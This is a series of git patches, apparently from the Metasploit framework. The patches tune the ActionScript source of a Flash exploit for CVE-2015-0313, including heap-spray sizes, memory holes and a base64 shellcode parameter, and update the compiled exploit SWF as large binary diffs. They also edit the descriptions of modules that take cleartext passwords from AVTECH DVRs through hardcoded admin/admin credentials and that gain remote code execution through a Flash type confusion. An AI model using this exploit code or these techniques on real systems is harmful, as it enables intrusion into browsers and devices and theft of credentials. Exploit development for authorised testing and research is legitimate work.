  • Gl=@60j|Blr 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 = new Vector.(80000) + private var ov:Vector. = new Vector.(120000) private var uv:Vector. private var ba:ByteArray = new ByteArray() private var worker:Worker @@ -44,6 +44,16 @@ public class Exploit extends Sprite { platform = LoaderInfo(this.root.loaderInfo).parameters.pl os = LoaderInfo(this.root.loaderInfo).parameters.os + Logger.log("od: " + os) + var ov_limit:uint + if (os == "Windows 8.1" || os == "Windows 8") { + ov_limit = 80000 + } else { + ov_limit = 60000 + } + Logger.log("ov: " + ov.length.toString()) + Logger.log("ov_limit: " + ov_limit.toString()) + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") @@ -52,11 +62,13 @@ public class Exploit extends Sprite ba.length = 0x1000 ba.shareable = true + Logger.log("spray") for (var i:uint = 0; i < ov.length; i++) { ov[i] = new Vector.(1014) ov[i][0] = 0xdeedbeef } - for (i = 0; i < ov.length / 2; i += 2) { + Logger.log("holes") + for (i = 0; i < ov_limit; i += 2) { delete(ov[i]) } worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) @@ -65,6 +77,7 @@ public class Exploit extends Sprite worker.setSharedProperty("mc", mc) worker.setSharedProperty("ba", ba) ApplicationDomain.currentDomain.domainMemory = ba + Logger.log('go') worker.start() } diff --git a/external/source/exploits/CVE-2015-0313/Exploiter.as b/external/source/exploits/CVE-2015-0313/Exploiter.as index b371c51895..9675548493 100644 --- a/external/source/exploits/CVE-2015-0313/Exploiter.as +++ b/external/source/exploits/CVE-2015-0313/Exploiter.as @@ -32,7 +32,7 @@ package payload = p platform = pl op_system = os - + ev = new ExploitVector(uv) if (!ev.is_ready()) return eba = new ExploitByteArray(platform) diff --git a/external/source/exploits/CVE-2015-0313/Logger.as b/external/source/exploits/CVE-2015-0313/Logger.as index 16c0447973..61ec768c25 100644 --- a/external/source/exploits/CVE-2015-0313/Logger.as +++ b/external/source/exploits/CVE-2015-0313/Logger.as @@ -3,7 +3,7 @@ package import flash.external.ExternalInterface public class Logger { - private static const DEBUG:uint = 0 + private static const DEBUG:uint = 1 public static function alert(msg:String):void { From 0d979f61ae84f637beb46906668d317f35a58e0c Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 10 Jun 2015 11:09:42 -0500 Subject: [PATCH 0384/1013] Minor fixups on newish modules --- modules/auxiliary/gather/avtech744_dvr_accounts.rb | 6 +++--- .../multi/browser/adobe_flash_net_connection_confusion.rb | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/avtech744_dvr_accounts.rb b/modules/auxiliary/gather/avtech744_dvr_accounts.rb index ea39608764..4c37acb610 100644 --- a/modules/auxiliary/gather/avtech744_dvr_accounts.rb +++ b/modules/auxiliary/gather/avtech744_dvr_accounts.rb @@ -9,11 +9,11 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'AVTECH 744 DVR Account Information Retrieval', 'Description' => %q{ - This module will extract the accounts information from the AVTECH 744 DVR devices, - including all the usernames and cleartext passwords plus the device PIN, along with + This module will extract the account information from the AVTECH 744 DVR devices, + including usernames, cleartext passwords, and the device PIN, along with a few other miscellaneous details. In order to extract the information, hardcoded credentials admin/admin are used. These credentials can't be changed from the device - console UI neither the web UI. + console UI nor from the web UI. }, 'Author' => [ 'nstarke' ], 'License' => MSF_LICENSE diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb index 97dfd64876..1a6ef9ca70 100644 --- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a type confusion vulnerability in the NetConnection class on Adobe Flash Player. When using a correct memory layout this vulnerability allows to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like - vectors, and finally accomplish remote code execution. This module has been tested + vectors, and ultimately accomplish remote code execution. This module has been tested successfully on: * Windows 7 SP1 (32-bit), IE 8, IE11 and Adobe Flash 16.0.0.305. * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.305. From ecbddc6ef8dedebca0ce99d88d7e2c570234a4f4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 11:54:57 -0500 Subject: [PATCH 0385/1013] Play with memory al little bit better --- data/exploits/CVE-2015-0313/msf.swf | Bin 21149 -> 21011 bytes .../source/exploits/CVE-2015-0313/Exploit.as | 24 +++++++----------- .../exploits/CVE-2015-0313/Exploiter.as | 4 +-- 3 files changed, 11 insertions(+), 17 deletions(-) diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf index fafeb047efe5791b6bcfecb2d58d7a9613dab1e1..5ffb0426ff2295e78babf3e35a53e672052b2172 100644 GIT binary patch delta 20893 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 